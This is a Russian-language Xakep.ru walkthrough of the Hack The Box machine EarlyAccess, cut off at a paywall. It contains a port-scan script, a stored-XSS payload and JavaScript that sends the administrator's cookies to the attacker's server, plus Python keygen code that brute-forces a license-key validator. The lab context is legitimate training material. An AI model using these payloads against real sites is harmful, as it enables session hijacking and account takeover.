Содержание статьи
Нашей целью будет машина EarlyAccess с площадки Hack The Box. Уровень сложности — Hard, но когда нас это останавливало?
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка. Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.110 earlyaccess.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Находим три открытых порта:
- порт 22 — служба OpenSSH 7.9p1;
- порты 80, 443 — веб‑сервер Apache 2.4.38.
Так как на хосте работает веб‑сервер с доступом по SSH, мы можем извлечь из сертификата доменное имя сайта, для которого он действителен. В результатах сканирования Nmap привел поле commonName
, однако это название мы уже записали в /
. Зайдем на сайт и посмотрим, что он может нам дать.
Тут есть возможность регистрации и авторизации. Сделаем и то и другое, чтобы получить доступ к большему числу функций и разных мест для тестирования.
Нам открывается связь с администратором, форум, хранилище и проверка какого‑то ключа.
Эксплуатация earlyaccess.htb
Stored XSS
Я сразу решил протестировать форму связи с админом и проверить, нет ли уязвимостей XSS.
Отправив тестовое сообщение, можем определить две позиции для нагрузки: имя пользователя и тело сообщения. Пройдем в профиль пользователя и поставим базовую нагрузку <
в имени пользователя.
После перехода к сообщениям видим отметку о прочитанном сообщении.
А открыв сам текст, получим отработку нашего кода.
Так как присутствует stored XSS, мы можем украсть куки администратора. Это позволит открыть еще больше возможностей!
Недавно я познакомился с отличным инструментом pyXSSPlatform, который может облегчить задачу в таких случаях. После загрузки нужно сгенерировать сертификат для нашего веб‑сервера.
openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes
Затем из каталога с шаблонами скопируем код для кражи куки в файл index.
. Только вставим в код свой адрес.
var serverUrl = "https://10.10.14.131/cookie";//change thisvar newimg = new Image();newimg.src=serverUrl+"?cookie="+escape(document.cookie);
А затем запустим веб‑сервер.
python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem
В качестве имени пользователя используем нагрузку, которую предоставляет pyXSSPlatform.
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.131/index.js"></img>
Снова отправим сообщение и, после того как администратор его прочитает, в логах веб‑сервера обнаружим запрос основной нагрузки, а потом и запрос с предоставленными в качестве параметра куками.
Используем расширение для браузера вроде Cookie Editor, заменяем наши cookie только что полученными и обновляем страницу. Теперь у нас есть панель администратора.
KeyGen
Привилегии администратора открывают нам доступ к исходному коду валидатора уже знакомого ключа, а также к двум новым сайтам — Dev
и Game
, запись для которых добавляем в /
.
10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb
Так мы можем авторизоваться от имени пользователя, если будет зарегистрирован ключ. Попробуем проанализировать алгоритм валидации и написать кейген.
Первым делом в программе проверяется формат ключа.
Ключ делится на пять блоков:
- пять символов из алфавита
A–Z
и0–9
; - пять символов из алфавита
A–Z
и0–9
; - четыре первых символа из алфавита
A–Z
и один символ из0–9
; - пять символов из алфавита
A–Z
и0–9
; - число от 0 до 99999.
Из функции check
узнаем, что блоки проверяются отдельно друг от друга.
Допишем вывод после каждой проверки, чтобы определять, правильный ли блок мы подобрали.
А теперь приступим к анализу функций, которые проводят проверку. Так, в функции g1_valid
четвертый и пятый символы должны быть цифрами (строки 39–43).
Чтобы не разбирать алгоритмы проверок, я решил составлять словари, переписывать эти функции и брутить! Словари составляем с помощью программы crunch. Первый словарь у меня будет состоять из трех букв и двух цифр, для этого используем маску ,,,
.
crunch 5 5 -t ,,,%% > g1_list.txt
Делаем кейген для этой функции на Python:
def g1_valid(g1): r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1)g1_list = open("g1_list.txt").read().split("\n")for s in g1_list: if g1_valid(s) == True: print(s) break
Запускаем и получаем первую часть ключа.
Перейдем ко второй части, которая использует все буквы и цифры. Создадим словарь, а потом допишем функцию проверки:
crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM > g2_list.txt
def g2_valid(g2): p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
Для генерации третьей части нам понадобится два дополнительных magic-значения.
При этом значение magic_num
меняется раз в 30 минут, а первые два символа должны быть равны статическому значению magic_value
— XP
. Генерируем словарь для строк из трех символов: первые две буквы, последняя цифра.
crunch 3 3 -t ,,% > g3_list.txt
И с помощью следующего кода получаем третью часть ключа.
def g3_valid(magic_num, g3): return sum(bytearray(("XP" + g3).encode())) == magic_numg1_list = open("g3_list.txt").read().split("\n")for s in g1_list: if g3_valid(346, s) == True: print("XP"+s) break
Для четвертой части используем словарь, который был сгенерирован для второй, а также первую часть ключа.
def g4_valid(g4): g1 = 'KEY01' return [ord(i)^ord(g) for g, i in zip(g1, g4)] == [12, 4, 20, 117, 0]
Осталась пятая часть — контрольная сумма.
Для перебора я решил использовать четырехсимвольные числа, как указано в примере.
crunch 4 4 -t %%%% >> g5_list.txt
def cs_valid(g5): return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF', 'XPAA0', 'GAME1']]) == int(g5)
Так мы сделали скрипт, получили ключ, вот только сервис его не принял. Видимо, изменилось значение magic_num
. А это значит, что нужно составить список возможных ключей и попытаться пробрутить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»